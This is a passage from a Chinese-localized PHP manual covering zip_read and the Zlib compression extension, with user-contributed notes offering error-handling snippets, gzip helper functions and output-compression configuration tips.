            $lst = scandir($dir);
                array_shift($lst);
                array_shift($lst);
            foreach ($lst as $item)
                $this->addZipItem($zip, $racine, $dir.$item.(is_dir($dir.$item)?'/':''));
        }
        elseif (is_file($dir))
            $zip->addFile($dir, str_replace($racine, '', $dir));
    }
}
?>
flominator at gmx dot net 01-Aug-2007 06:49
@bisqwit at iki dot fi: If you're using older versions of PHP this skript might only read the first 8192 bytes. Great thing, anyway!
saulius at solmetra dot lt 18-Jun-2007 08:28
Some older PHP versions used to return false if zip_open failed, and newer versions return the number of error (as integer), so instead of this:

$zip = zip_open($zip_file);
if ($zip) {
  // consider zip file opened successfully
}

use this:

$zip = zip_open($zip_file);
if (is_resource($zip)) {
  // consider zip file opened successfully
}

You may also use this function to get the error message by it's number:

function zipFileErrMsg($errno) {
  // using constant name as a string to make this function PHP4 compatible
  $zipFileFunctionsErrors = array(
    'ZIPARCHIVE::ER_MULTIDISK' => 'Multi-disk zip archives not supported.',
    'ZIPARCHIVE::ER_RENAME' => 'Renaming temporary file failed.',
    'ZIPARCHIVE::ER_CLOSE' => 'Closing zip archive failed',
    'ZIPARCHIVE::ER_SEEK' => 'Seek error',
    'ZIPARCHIVE::ER_READ' => 'Read error',
    'ZIPARCHIVE::ER_WRITE' => 'Write error',
    'ZIPARCHIVE::ER_CRC' => 'CRC error',
    'ZIPARCHIVE::ER_ZIPCLOSED' => 'Containing zip archive was closed',
    'ZIPARCHIVE::ER_NOENT' => 'No such file.',
    'ZIPARCHIVE::ER_EXISTS' => 'File already exists',
    'ZIPARCHIVE::ER_OPEN' => 'Can\'t open file',
    'ZIPARCHIVE::ER_TMPOPEN' => 'Failure to create temporary file.',
    'ZIPARCHIVE::ER_ZLIB' => 'Zlib error',
    'ZIPARCHIVE::ER_MEMORY' => 'Memory allocation failure',
    'ZIPARCHIVE::ER_CHANGED' => 'Entry has been changed',
    'ZIPARCHIVE::ER_COMPNOTSUPP' => 'Compression method not supported.',
    'ZIPARCHIVE::ER_EOF' => 'Premature EOF',
    'ZIPARCHIVE::ER_INVAL' => 'Invalid argument',
    'ZIPARCHIVE::ER_NOZIP' => 'Not a zip archive',
    'ZIPARCHIVE::ER_INTERNAL' => 'Internal error',
    'ZIPARCHIVE::ER_INCONS' => 'Zip archive inconsistent',
    'ZIPARCHIVE::ER_REMOVE' => 'Can\'t remove file',
    'ZIPARCHIVE::ER_DELETED' => 'Entry has been deleted',
  );
  $errmsg = 'unknown';
  foreach ($zipFileFunctionsErrors as $constName => $errorMessage) {
    if (defined($constName) and constant($constName) === $errno) {
      return 'Zip File Function error: '.$errorMessage;
    }
  }
  return 'Zip File Function error: unknown';
}

$zip = zip_open($zip_file);
if (!is_resource($zip)) {
  die(zipFileErrMsg($zip));
}
ponsho 14-Dec-2005 12:44
For bisqwit at iki dot fi solution of alternative functions there's just one problem when trying to read the file thats because some bug in fread when handling from popen so it just load 8192 bytes here's the function corrected.

<?php

    function zip_entry_read(&$res, $nbytes)
    {
     while ($s = fgets($res['fp'],1024)) {
     $data  .= $s;
     }
      return $data;
    }
?>
barbarinasv at interfree dot it 05-Oct-2005 01:02
Function zip_entry_read() written by "bisqwit at iki dot fi" has to be modified to read entire files:

<?php
function zip_entry_read(&$res, $nbytes) {
    while (!feof($res['fp'])) {
        $contents .= fread($res['fp'], $nbytes);
    }
    return $contents;
}
?>
robert at cotran dot ca 21-Sep-2005 12:19
The zip_entry_read above is wrong.  Since the file was opened with popen, you have to read the file in chunks, so zip_entry_read should read:

function zip_entry_read(&$res, $nbytes)
{
    $contents = '';
    while (!feof($res['fp'])) {
        $contents .= fread($res['fp'], 8192);
    }
    return $contents;
}

Otherwise, it was a very useful library.  Thanks!
bisqwit at iki dot fi 02-Sep-2005 04:08
If your PHP installation does not have the zip_open function, and you can't install it for whatever reason, you can use these functions instead, if the server has access to the "unzip" utility (most Linux systems do).
So far I have tested these only in Fedora Core 3.
Use at your own risk.

<?php

function ShellFix($s)
{
  return "'".str_replace("'", "'\''", $s)."'";
}

function zip_open($s)
{
  $fp = @fopen($s, 'rb');
  if(!$fp) return false;

  $lines = Array();
  $cmd = 'unzip -v '.shellfix($s);
  exec($cmd, $lines);

  $contents = Array();
  $ok=false;
  foreach($lines as $line)
  {
    if($line[0]=='-') { $ok=!$ok; continue; }
    if(!$ok) continue;

    $length = (int)$line;
    $fn = trim(substr($line,58));

    $contents[] = Array('name' => $fn, 'length' => $length);
  }

  return
    Array('fp'       => $fp,
          'name'     => $s,
          'contents' => $contents,
          'pointer'  => -1);
}
function zip_read(&$fp)
{
  if(!$fp) return false;

  $next = $fp['pointer'] + 1;
  if($next >= count($fp['contents'])) return false;

  $fp['pointer'] = $next;
  return $fp['contents'][$next];
}
function zip_entry_name(&$res)
{
  if(!$res) return false;
  return $res['name'];
}
function zip_entry_filesize(&$res)
{
  if(!$res) return false;
  return $res['length'];
}
function zip_entry_open(&$fp, &$res)
{
  if(!$res) return false;

  $cmd = 'unzip -p '.shellfix($fp['name']).' '.shellfix($res['name']);

  $res['fp'] = popen($cmd, 'r');
  return !!$res['fp'];
}
function zip_entry_read(&$res, $nbytes)
{
  return fread($res['fp'], $nbytes);
}
function zip_entry_close(&$res)
{
  fclose($res['fp']);
  unset($res['fp']);
}
function zip_close(&$fp)
{
  fclose($fp['fp']);
}
?>


读取 ZIP 文件归档中下一项

  • ? zip_open
  • Zlib ?
  • PHP Manual
  • Zip 函数
  • 读取 ZIP 文件归档中下一项

zip_read

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_read — 读取 ZIP 文件归档中下一项

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

zip_read(resource $zip): resource|false

读取 ZIP 文件归档中下一项。

参数

zip

一个ZIP压缩文件,该ZIP归档文件之前应由函数 zip_open() 打开。

返回值

成功的时候返回该当前实体资源供zip_entry_... 系列函数后续使用; 如果没有更多的读取项，则会返回 false 如果遇到错误则会返回相应的错误码。

更新日志

版本 | 说明
8.0.0 | 弃用此函数，取而代之的是对象 API，请参阅 ZipArchive::statIndex()。

参见

  • zip_open() - 打开 ZIP 文件归档
  • zip_close() - 关闭一个ZIP档案文件
  • zip_entry_open() - 打开用于读取的目录实体
  • zip_entry_read() - 读取一个打开了的压缩目录实体

User Contributed Notes

Anonymous 11-Jul-2019 07:18
*Here is a simple example*
<?php
$zp = zip_open('file.zip');

while ($file = zip_read($zp)) {
    echo  zip_entry_name($file).PHP_EOL;
}
?>

The output will be something similar to:

myfile.txt
mydir/
Christian 23-Mar-2013 11:29
Note: Only the first 65535 entries will be returned, even if your archive contains more entries. See https://bugs.php.net/bug.php?id=59118 for details.
nico at nicoswd dot com 29-Sep-2007 01:29
If you get an error like this:

Warning: zip_read() expects parameter 1 to be resource, integer given in xxxxxx on line x

It's because zip_open() failed to open the file and returned an error code instead of a resource. It took me a while to figure out why it failed to open the file, until I tried to use the FULL path to the file.

<?php

// Even if the file exists, zip_open() will return an error code.
$file = 'file.zip';
$zip = zip_open($file);

// The workaround:
$file = getcwd() . '/file.zip';

// Or:
$file = 'C:\\path\\to\\file.zip';

?>

This worked for me on Windows at least. I'm not sure about other platforms.


Zlib Compression

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Zlib 函数
    • deflate_add — Incrementally deflate data
    • deflate_init — Initialize an incremental deflate context
    • gzclose — Close an open gz-file pointer
    • gzcompress — Compress a string
    • gzdecode — Decodes a gzip compressed string
    • gzdeflate — Deflate a string
    • gzencode — Create a gzip compressed string
    • gzeof — Test for EOF on a gz-file pointer
    • gzfile — Read entire gz-file into an array
    • gzgetc — Get character from gz-file pointer
    • gzgets — Get line from file pointer
    • gzgetss — Get line from gz-file pointer and strip HTML tags
    • gzinflate — Inflate a deflated string
    • gzopen — Open gz-file
    • gzpassthru — Output all remaining data on a gz-file pointer
    • gzputs — 别名 gzwrite
    • gzread — Binary-safe gz-file read
    • gzrewind — Rewind the position of a gz-file pointer
    • gzseek — Seek on a gz-file pointer
    • gztell — Tell gz-file pointer read/write position
    • gzuncompress — Uncompress a compressed string
    • gzwrite — Binary-safe gz-file write
    • inflate_add — Incrementally inflate encoded data
    • inflate_get_read_len — Get number of bytes read so far
    • inflate_get_status — Get decompression status
    • inflate_init — Initialize an incremental inflate context
    • readgzfile — Output a gz-file
    • zlib_decode — Uncompress any raw/gzip/zlib encoded data
    • zlib_encode — Compress data with the specified encoding
    • zlib_get_coding_type — Returns the coding type used for output compression
  • DeflateContext — The DeflateContext class
  • InflateContext — The InflateContext class

User Contributed Notes

There are no user contributed notes for this page.


简介

This module enables you to transparently read and write gzip (.gz) compressed files, through versions of most of the filesystem functions which work with gzip-compressed files (and uncompressed files, too, but not with sockets).

Note:

PHP comes with a fopen-wrapper for .gz-files. More information is available in the section about zlib://.

User Contributed Notes

Anon 17-Aug-2019 03:30
This introduction is incomplete because it lacks the information that the module can be used to use HTTP gzip compression with the 'zlib.output_compression' and  'zlib.output_compression_level' configuration settings.

Please be aware that cross-site scripting should be disabled when using HTTP compression because of possible BREACH attacks.


需求

This module uses the functions of » zlib by Jean-loup Gailly and Mark Adler. You have to use a zlib version >= 1.2.0.4 with this module.

User Contributed Notes

There are no user contributed notes for this page.


安装

Zlib support in PHP is not enabled by default. You will need to configure PHP --with-zlib[=DIR]

PHP 的 Windows 版本已内建对此扩展的支持。不需要载入额外的扩展来使用这些函数。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

The zlib extension offers the option to transparently compress your pages on-the-fly, if the requesting browser supports this. Therefore there are three options in the configuration file php.ini.

Zlib Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
zlib.output_compression | "0" | PHP_INI_ALL |
zlib.output_compression_level | "-1" | PHP_INI_ALL |
zlib.output_handler | "" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

zlib.output_compression bool/int

Whether to transparently compress pages. If this option is set to "On" in php.ini or the Apache configuration, pages are compressed if the browser sends an "Accept-Encoding: gzip" or "deflate" header. "Content-Encoding: gzip" (respectively "deflate") and "Vary: Accept-Encoding" headers are added to the output. In runtime, it can be set only before sending any output.

This option also accepts integer values instead of boolean "On"/"Off", using this you can set the output buffer size (default is 4KB).

Note:

output_handler must be empty if this is set 'On' ! Instead you must use zlib.output_handler.

zlib.output_compression_level int

Compression level used for transparent output compression. Specify a value between 0 (no compression) to 9 (most compression). The default value, -1, lets the server decide which level to use.

zlib.output_handler string

You cannot specify additional output handlers if zlib.output_compression is activated here. This setting does the same as output_handler but in a different order.

User Contributed Notes

Anon 17-Aug-2019 04:01
Because of possible BREACH attacks when using output compression cross-site scripting should be disallowed. This can be achieved with the same-site cookie attribute:

https://www.sjoerdlangkemper.nl/2016/04/14/preventing-csrf-with-samesite-cookie-attribute/

https://caniuse.com/#feat=same-site-cookie-attribute
pacerier+php dot net at gmail dot com 03-Oct-2017 10:47
@finlanderid, Exactly. As output_handler and zlib.output_handler cant be both set (as per ""<output_handler must be empty if this is set 'On'>""), "different order" refers to?
galaxy 18-Jun-2015 10:49
finlanderid at gmail dot com,

you are mixing two separate things and consider them to be the same thing, hence the confusion.

There are two output_handlers:

1. http://php.net/manual/en/outcontrol.configuration.php#ini.output-handler

2. http://php.net/manual/en/zlib.configuration.php#ini.zlib.output-handler

Now, if you re-read your quotes again with this information it won't be confusing anymore :)
finlanderid at gmail dot com 21-Mar-2015 06:42
Does anyone find these two statements contradictory? Am I not understanding something, or are these statements actually contradicting each other?

Statement ONE from output_handler:
"output_handler must be empty if this [zlib.output_compression] is set 'On' ! Instead you must use zlib.output_handler."

Statement TWO from zlib.output_handler:
"You cannot specify additional output handlers if zlib.output_compression is activated ..."

Statement ONE says you have to use zlib.output_handler, if zlib.output_compression is turned ON. Statement TWO says that, if zlib.output_compression is turned ON, you cannot use zlib.output_handler.

what the heck?
scott at pawprint dot net 29-Feb-2012 06:19
In the hopes this will help others - a hard to spot gotcha when implementing zlib.output_compression. if you use flush() anywhere in your script (even right at the end) the compression won't work - you need to let that happen automatically or it ends up being sent uncompressed.


资源类型

This extension defines a file pointer resource returned by gzopen(). Prior to PHP 8.0.0, zlib.deflate and zlib.inflate resources were also defined.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

FORCE_GZIP (int)
FORCE_DEFLATE (int)
ZLIB_ENCODING_RAW (int)
DEFLATE algorithm as per RFC 1951.
ZLIB_ENCODING_DEFLATE (int)
ZLIB compression algorithm as per RFC 1950.
ZLIB_ENCODING_GZIP (int)
GZIP algorithm as per RFC 1952.
ZLIB_FILTERED (int)
ZLIB_HUFFMAN_ONLY (int)
ZLIB_FIXED (int)
ZLIB_RLE (int)
ZLIB_DEFAULT_STRATEGY (int)
ZLIB_BLOCK (int)
ZLIB_NO_FLUSH (int)
ZLIB_PARTIAL_FLUSH (int)
ZLIB_SYNC_FLUSH (int)
ZLIB_FULL_FLUSH (int)
ZLIB_FINISH (int)

User Contributed Notes

diogoko at gmail dot com 15-May-2018 12:08
A tried at 3v4l.org and the first version to have the ZLIB_ENCODING_* constants was 5.4.0.
dave dot mariano1991 at gmail dot com 27-Sep-2017 01:04
I'm noticing that all the ZLIB_ENCODING_* constants are documented to exist as of PHP 7.0, but I seem to be able to use them in PHP 5.5.9.

Could someone please confirm this documentation?


示例

This example opens a temporary file and writes a test string to it, then it prints out the content of this file twice.

Example #1 Small Zlib Example

<?php

$filename = tempnam('/tmp', 'zlibtest') . '.gz';
echo "<html>\n<head></head>\n<body>\n<pre>\n";
$s = "Only a test, test, test, test, test, test, test, test!\n";

// open file for writing with maximum compression
$zp = gzopen($filename, "w9");

// write string to file
gzwrite($zp, $s);

// close file
gzclose($zp);

// open file for reading
$zp = gzopen($filename, "r");

// read 3 char
echo gzread($zp, 3);

// output until end of the file and close it.
gzpassthru($zp);
gzclose($zp);

echo "\n";

// open file and print content (the 2nd time).
if (readgzfile($filename) != strlen($s)) {
echo "Error with zlib functions!";
}
unlink($filename);
echo "</pre>\n</body>\n</html>\n";

?>

Example #2 Working with the incremental compression and decompression API

<?php
// Perform GZIP compression:
$deflateContext = deflate_init(ZLIB_ENCODING_GZIP);
$compressed = deflate_add($deflateContext, "Data to compress", ZLIB_NO_FLUSH);
$compressed .= deflate_add($deflateContext, ", more data", ZLIB_NO_FLUSH);
$compressed .= deflate_add($deflateContext, ", and even more data!", ZLIB_FINISH);

// Perform GZIP decompression:
$inflateContext = inflate_init(ZLIB_ENCODING_GZIP);
$uncompressed = inflate_add($inflateContext, $compressed, ZLIB_NO_FLUSH);
$uncompressed .= inflate_add($inflateContext, NULL, ZLIB_FINISH);
echo $uncompressed;
?>

以上示例会输出：

Data to compress, more data, and even more data!

User Contributed Notes

There are no user contributed notes for this page.


Zlib 函数

Table of Contents

  • deflate_add — Incrementally deflate data
  • deflate_init — Initialize an incremental deflate context
  • gzclose — Close an open gz-file pointer
  • gzcompress — Compress a string
  • gzdecode — Decodes a gzip compressed string
  • gzdeflate — Deflate a string
  • gzencode — Create a gzip compressed string
  • gzeof — Test for EOF on a gz-file pointer
  • gzfile — Read entire gz-file into an array
  • gzgetc — Get character from gz-file pointer
  • gzgets — Get line from file pointer
  • gzgetss — Get line from gz-file pointer and strip HTML tags
  • gzinflate — Inflate a deflated string
  • gzopen — Open gz-file
  • gzpassthru — Output all remaining data on a gz-file pointer
  • gzputs — 别名 gzwrite
  • gzread — Binary-safe gz-file read
  • gzrewind — Rewind the position of a gz-file pointer
  • gzseek — Seek on a gz-file pointer
  • gztell — Tell gz-file pointer read/write position
  • gzuncompress — Uncompress a compressed string
  • gzwrite — Binary-safe gz-file write
  • inflate_add — Incrementally inflate encoded data
  • inflate_get_read_len — Get number of bytes read so far
  • inflate_get_status — Get decompression status
  • inflate_init — Initialize an incremental inflate context
  • readgzfile — Output a gz-file
  • zlib_decode — Uncompress any raw/gzip/zlib encoded data
  • zlib_encode — Compress data with the specified encoding
  • zlib_get_coding_type — Returns the coding type used for output compression

User Contributed Notes

Robin Skoglund 04-Apr-2008 04:39
ini_set('zlib.output_compression', 'On') doesn't work

It says that zlib.output_compression is PHP_INI_ALL changable, but in my case at least, this is not true. When using ini_set('zlib.output_compression', 'On') runtime, phpinfo() states that zlib.output_compression is enabled, yet there is no compression.

Since I don't want to enable zlib.ouput_compression for all sites in php.ini, my solution was to enable it in apache conf (.htaccess should work as well) with the line:
php_flag zlib.output_compression on

Just spent hours figuring this out, so I hope it helps other people.

Btw, I'm using Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6.3.
Brian 25-Jun-2007 11:58
If you have zlib.output_compression set to on when your script starts (in php.ini or via apache directive), then you disable it at runtime using ini_set() before producing output, your output will still be buffered!  Even if you call ob_implicit_flush().

If you want unbuffered output, you must disable zlib.output_compression before your script starts (as well as mod_gzip of course, if you have both installed).

This behaviour experienced on Server: Apache/1.3.33 (Debian GNU/Linux) mod_gzip/1.3.26.1a PHP/4.3.10-18
anzenews at volja dot net 27-Jul-2006 06:59
php at seven dot net dot nz:
Have you been using register_shutdown_function() that outputs something? If yes, some of the output was not encoded and IE6 is less than forgiving about that. In my case it was reloading the page and sometimes showing a blank page. So IE6 does get invalid stream, bug is not bogus, only description is not good enough.

jpleveille at webgraphe dot com:
In PHP 4.4.2 register_shutdown_function() DOES output whatever you wish, but it is not encoded with the rest of the document. Which is even worse as you get a bug that is difficult / impossible to track down.
php at seven dot net dot nz 07-Jul-2006 01:49
zlib.output_compression has caused problems for me in IE 6, when pages are sometimes not displayed. This could be difficult to track down and PHP have no intention of fixing it, so hopefully you find this note in a search if it happens to you.

http://bugs.php.net/bug.php?id=38026
Arne dot Heizmann at csr dot com 23-May-2006 10:34
PHP Version 5.1.4 here. What Bob said is correct even in this version (newest at the time of writing). You can't enable zlib.output_compression via ini_set(). You have to use php.ini.
Bob 19-Sep-2005 06:45
Contrary to what the documentation says, I've been unable to get zlib.output_compression to work via ini_set() (Even though I put it at the very beginning of the file before any output was sent) as of php 4.3.11.  While it does get set to true, it will not actually do anything. Which means if you don't set this via php.ini or Apache configuration it's a no-go. I have to use ob_start("ob_gzhandler"); instead.
djmaze(AT)dragonflycms(.)org 27-Aug-2005 08:27
If you need to compress data and send it as "Content-disposition: attachment" and on-the-fly to the client due to the size for example (40Mb) here's a dirty trick using ob_gzhandler()

Keep in mind that $str is the content to output.

When you start the output call

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_START);
?>

Then to output any further content

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_CONT);
?>

And to close the output

<?php
echo ob_gzhandler('', PHP_OUTPUT_HANDLER_END);
exit;
?>

Only tested on Apache 1.3.33 with PHP 5.0.4
ghassler at speakeasy dot net 03-Jul-2005 09:45
I tested all the compression levels against a 22k page and here are the results I got (in bytes):

off = 22549
1 = 4297
2 = 4279
3 = 4264
4 = 4117
5 = 4097
6 = 4063
7 = 4011
8 = 3998
9 = 3996

Looks like the best bets for zlib.output_compression_level is 1 or 5.  The default of 6 is probably OK too.  Don't know what the CPU usage difference is between them all though.
jpleveille at webgraphe dot com 10-Jun-2005 06:08
register_shutdown_function() (http://www.php.net/register_shutdown_function) won't output anything if you use zlib.output_compression.

Shutdown function is called after closing all opened output buffers thus, for example, its output will not be compressed if zlib.output_compression is enabled.
admin_at_commandline_dot_ch 08-Oct-2004 05:32
My gzip function.

This function read, compress and writhe only small chunks at one time, this way you can compress big files without memory problems...

<?php
function gzip($src, $level = 5, $dst = false){
    if($dst == false){
        $dst = $src.".gz";
    }
    if(file_exists($src)){
        $filesize = filesize($src);
        $src_handle = fopen($src, "r");
        if(!file_exists($dst)){
            $dst_handle = gzopen($dst, "w$level");
            while(!feof($src_handle)){
                $chunk = fread($src_handle, 2048);
                gzwrite($dst_handle, $chunk);
            }
            fclose($src_handle);
            gzclose($dst_handle);
            return true;
        } else {
            error_log("$dst already exists");
        }
    } else {
        error_log("$src doesn't exist");
    }
    return false;
}
?>
gem at rellim dot com 13-Jul-2004 08:03
Run, do not walk, run, to add this to your Apache config file:

php_flag zlib.output_compression On
php_value zlib.output_compression_level 5

I just tried this and achieved 10x and 15x speed inprovement on
some mature php pages.  Pages I have been seating over to make 5% gains on.  I use microtime() on critical pages to help me track page speed and that confirms the speed improvement.  The php page takes a timestamp at the beginning and end, then logs the page duration.  So any IP transmission effects are not included.  There is
a clear subjective difference to the user.

The test system was PHP 4.3.6, Apache 2.0.49 over Linux 2.4.
As always YMMV.
zigazou at free dot fr 12-Jun-2004 03:44
If you use "zlib.output_compression = On" in your php.ini file, and activates output buffering (ob_start), don't output this header :
header('Content-Length: '.ob_get_length());

This is because ob_get_length() will return the uncompressed size while zlib will compress the output. Thus your browser will get confused waiting for extra data that will never come.
xorinox at tiscali dot ch 04-Jun-2004 07:52
Have a look to this extended version :)

<?php

function compress( $srcFileName, $dstFileName )
{
    // getting file content
    $fp = fopen( $srcFileName, "r" );
    $data = fread ( $fp, filesize( $srcFileName ) );
    fclose( $fp );

    // writing compressed file
    $zp = gzopen( $dstFileName, "w9" );
    gzwrite( $zp, $data );
    gzclose( $zp );
}

function uncompress( $srcFileName, $dstFileName, $fileSize )
{
    // getting content of the compressed file
    $zp = gzopen( $srcFileName, "r" );
    $data = fread ( $zp, $fileSize );
    gzclose( $zp );

    // writing uncompressed file
    $fp = fopen( $dstFileName, "w" );
    fwrite( $fp, $data );
    fclose( $fp );
}

compress( "tmp/supportkonzept.rtf", "tmp/_supportkonzept.rtf.gz" );
uncompress( "tmp/_supportkonzept.rtf.gz", "tmp/_supportkonzept.rtf", filesize( "tmp/supportkonzept.rtf" ) );

?>
ec10 at gmx dot net 20-May-2004 11:38
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @param string $param = "1"
 * @desc compressing the file with the zlib-extension
*/
function gzip ($in, $out, $param="1")
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = fopen ($in, "rb");
    if (!$out_file = gzopen ($out, "wb".$param)) {
        return false;
    }

    while (!feof ($in_file)) {
        $buffer = fgets ($in_file, 4096);
        gzwrite ($out_file, $buffer, 4096);
    }

    fclose ($in_file);
    gzclose ($out_file);

    return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the zlib-extension
*/
function gunzip ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = gzopen ($in, "rb");
    $out_file = fopen ($out, "wb");

    while (!gzeof ($in_file)) {
        $buffer = gzread ($in_file, 4096);
        fwrite ($out_file, $buffer, 4096);
    }

    gzclose ($in_file);
    fclose ($out_file);

    return true;
}
spam at wildpeaks dot com 13-May-2004 07:04
For decompressing, i modified a function posted earlier (that way $string doesn't have a big size that may be beyond the memory limit if the gzipped file is big) :

function file_ungzip($fromFile, $toFile) {
    $zp = @gzopen($fromFile, "r");
    $fp = @fopen($toFile, "w");
    while(!@gzeof($zp)) {$string = @gzread($zp, 4096); @fwrite($fp, $string, strlen($string));}
    @gzclose($zp);
    @fclose($fp);
}
thivierr at telus dot net 17-Nov-2003 04:02
I found the absolute easiest way to read a gzip file is as follows:

echo file_get_contents("compress.zlib:///myphp/test.txt.gz");

To create a gzip file:
file_put_contents("compress.zlib:///myphp/test.txt.gz","Put this in the file\r\n");

Things to note about this:
-The best prefix to use is "compress.zlib", not "zlib"
-If you wish to specify a path starting in the root path, you actually end up with three slashes.  The above path corresponds to "/myphp/test.txt" on unix, and "c:\myphp\test.txt" on Windows (if C: is the current drive).  I tested it just on Windows.
-Compression and decompression both use the same prefix of "compress.zlib://" (plus one more slash to get a root dir).
-I'm using 5.0, so I'm not 100% sure which behaviour started in which version.
chris at mad-teaparty dot com 27-May-2003 05:10
Nice function. I did it the other way round:

function uncompress($srcName, $dstName) {
   $zp = gzopen($srcName, "r");
   while(!gzeof($zp))
        $string .= gzread($zp, 4096);
   gzclose($zp);

   $fp = fopen($dstName, "w");
   fwrite($fp, $string, strlen($string));
   fclose($fp);
}

uncompress("./myfile.txt.gz", "./myfile.txt");

A shorter approach would be:

function uncompress($srcName, $dstName) {
  $string = implode("", gzfile($srcName));
  $fp = fopen($dstName, "w");
  fwrite($fp, $string, strlen($string));
  fclose($fp);
}
mlevy at rgj dot com 12-Feb-2003 02:06
If you turn zlib.output_compression_level on, be advised that you shouldn't try to flush() the output in your scripts. PHP will add the gzip header but send the output uncompressed, which plays havoc with Mozilla. IE seems to handle it, though.
monte at ispi dot net 18-Apr-2001 06:02
An alternate way to handle gzip compression is to let the mod_gzip module of apache handle it. This seems to contradict the tutorial on phpbuilder.com saying that it won't compress php (or any dynamic) output, but mod_gzip as of version 1.3.17.1a works well for me.

Here is an example of an httpd.conf setup:

<IfModule mod_gzip.c>
mod_gzip_on                 Yes
mod_gzip_dechunk            Yes
mod_gzip_minimum_file_size  300
mod_gzip_maximum_file_size  0
mod_gzip_maximum_inmem_size 100000
mod_gzip_keep_workfiles     No
mod_gzip_temp_dir           /tmp
mod_gzip_item_include       file \.html$
mod_gzip_item_include       file \.jsp$
mod_gzip_item_include       file \.php$
mod_gzip_item_include       file \.pl$
mod_gzip_item_include       mime ^text/.*
mod_gzip_item_include       mime ^application/x-httpd-php
mod_gzip_item_include       mime ^httpd/unix-directory$
mod_gzip_item_include       handler ^perl-script$
mod_gzip_item_include       handler ^server-status$
mod_gzip_item_include       handler ^server-info$
mod_gzip_item_exclude       mime ^image/.*
</IfModule>

This will automatically compress all output of your files with the .php extention or the x-httpd-php mime type. Be sure to have dechunk set to Yes.


Incrementally deflate data

  • ? Zlib 函数
  • deflate_init ?
  • PHP Manual
  • Zlib 函数
  • Incrementally deflate data

deflate_add

(PHP 7, PHP 8)

deflate_add — Incrementally deflate data

说明

deflate_add(DeflateContext $context, string $data, int $flush_mode = ZLIB_SYNC_FLUSH): string|false

Incrementally deflates data in the specified context.

参数

context

A context created with deflate_init().

data

A chunk of data to compress.

flush_mode

One of ZLIB_BLOCK, ZLIB_NO_FLUSH, ZLIB_PARTIAL_FLUSH, ZLIB_SYNC_FLUSH (default), ZLIB_FULL_FLUSH, ZLIB_FINISH. Normally you will want to set ZLIB_NO_FLUSH to maximize compression, and ZLIB_FINISH to terminate with the last chunk of data. See the » zlib manual for a detailed description of these constants.

返回值

Returns a chunk of compressed data, 或者在失败时返回 false.

错误／异常

If invalid arguments are given, an error of level E_WARNING is generated.

更新日志

版本 | 说明
8.0.0 | context expects a DeflateContext instance now; previously, a resource was expected.

参见

  • deflate_init() - Initialize an incremental deflate context

User Contributed Notes

douglasjam at gmail dot com 12-Jul-2018 10:03
Example about to use deflate functions to write a gzip encoded file in chunks.

<?php

$handler = fopen('/tmp/test.csv', 'w');
$deflateContext = deflate_init(ZLIB_ENCODING_GZIP, ['level' => 9]);

$strings = [
    'Hello, how are you?' . PHP_EOL,
    'I am fine thanks' . PHP_EOL,
    'Hello, how are you?' . PHP_EOL,
];

foreach ($strings as $string) {
    fwrite($handler, deflate_add($deflateContext, $string, ZLIB_NO_FLUSH));
}

fwrite($handler, deflate_add($deflateContext, '', ZLIB_FINISH));
fclose($handler);

echo gzdecode(file_get_contents('/tmp/test.csv'));


Initialize an incremental deflate context

  • ? deflate_add
  • gzclose ?
  • PHP Manual
  • Zlib 函数
  • Initialize an incremental deflate context

deflate_init

(PHP 7, PHP 8)

deflate_init — Initialize an incremental deflate context

说明

deflate_init(int $encoding, array $options = []): DeflateContext|false

Initializes an incremental deflate context using the specified encoding.

Note that the window option here only sets the window size of the algorithm, differently from the zlib filters where the same parameter also sets the encoding to use; the encoding must be set with the encoding parameter.

Limitation: there is currently no way to set the header information on a GZIP compressed stream, which are set as follows: GZIP signature (\x1f\x8B); compression method (\x08 == DEFLATE); 6 zero bytes; the operating system set to the current system (\x00 = Windows, \x03 = Unix, etc.)

参数

encoding

One of the ZLIB_ENCODING_* constants.

options

An associative array which may contain the following elements:

level

The compression level in range -1..9; defaults to -1.

memory

The compression memory level in range 1..9; defaults to 8.

window

The zlib window size (logarithmic) in range 8..15; defaults to 15. zlib changes a window size of 8 to 9, and as of zlib 1.2.8 fails with a warning, if a window size of 8 is requested for ZLIB_ENCODING_RAW or ZLIB_ENCODING_GZIP.

strategy

One of ZLIB_FILTERED, ZLIB_HUFFMAN_ONLY, ZLIB_RLE, ZLIB_FIXED or ZLIB_DEFAULT_STRATEGY (the default).

dictionary

A string or an array of strings of the preset dictionary (default: no preset dictionary).

返回值

Returns a deflate context resource (zlib.deflate) on success, 或者在失败时返回 false.

错误／异常

If an invalid option is passed to options or the context couldn't be created, an error of level E_WARNING is generated.

更新日志

版本 | 说明
8.0.0 | On success, this function returns a DeflateContext instance now; previously, a resource was returned.

参见

  • deflate_add() - Incrementally deflate data
  • inflate_init() - Initialize an incremental inflate context

User Contributed Notes

There are no user contributed notes for this page.


Close an open gz-file pointer

  • ? deflate_init
  • gzcompress ?
  • PHP Manual
  • Zlib 函数
  • Close an open gz-file pointer

gzclose

(PHP 4, PHP 5, PHP 7, PHP 8)

gzclose — Close an open gz-file pointer

说明

gzclose(resource $stream): bool

Closes the given gz-file pointer.

参数

stream

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 gzclose() example

<?php
